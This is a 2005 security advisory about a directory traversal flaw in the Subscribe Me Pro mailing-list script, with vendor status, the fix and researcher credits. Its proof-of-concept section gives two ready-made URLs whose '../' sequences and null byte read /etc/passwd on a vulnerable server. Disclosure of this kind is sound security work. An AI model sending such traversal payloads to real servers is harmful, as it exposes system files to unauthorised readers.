SecurityReason - Subscribe Me Pro 2.044.09P and prior Directory Traversal Vulnerability

Advisory Text :

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HYA-2005-006 h4cky0u.org Advisory 007
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Date - Tue Sep 13 2005

TITLE:
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Subscribe Me Pro 2.044.09P and prior Directory Traversal Vulnerability

SEVERITY:
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High

SOFTWARE:
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Subscribe Me Pro 2.044.09P and prior

Support Website : http://siteinteractive.com/subpro/

INFO:
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Subscribe Me Professional is designed to assist with the building,
maintaining, mailing, and tracking of your customer/prospect mailing
lists.

BUG DESCRIPTION:
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Subscribe Me Pro 2.044.09P and prior are prone to a directory traversal
vulnerability. This issue is due to a failure in the application to
properly sanitize user-supplied input. An unauthorized user can retrieve
arbitrary files by supplying directory traversal strings '../' to the
vulnerable parameter.

POC:
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Here are some examples:

www.site.com/[dir]/s.pl?e=1&subscribe=subscribe&l=../../../../../../../.
./etc/passwd%00&SUBMIT=%20%20Submit%20%20

www.site.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscrib
e=subscribe&l=../../../../../../../../etc/passwd%00

VENDOR STATUS:
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Vendor Contact : 13th Sep 2005
Vendor Reply : 13th sep 2005 - This Vulnerability has been fixed in the
Latest Release : 2.050.01P

FIX:
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Upgrade to version 2.050.01P

CREDITS:
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This vulnerability was discovered and researched by -

ShoCK FX of h4cky0u Security Forums.

mail : shockfx at gmail.com

web : http://www.h4cky0u.org

Co Researcher -

h4cky0u of h4cky0u Security Forums.

mail : h4cky0u at gmail.com

web : http://www.h4cky0u.org

ORIGINAL ADVISORY:
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http://www.h4cky0u.org/advisories/HYA-2005-007-subscribe-me-pro.txt

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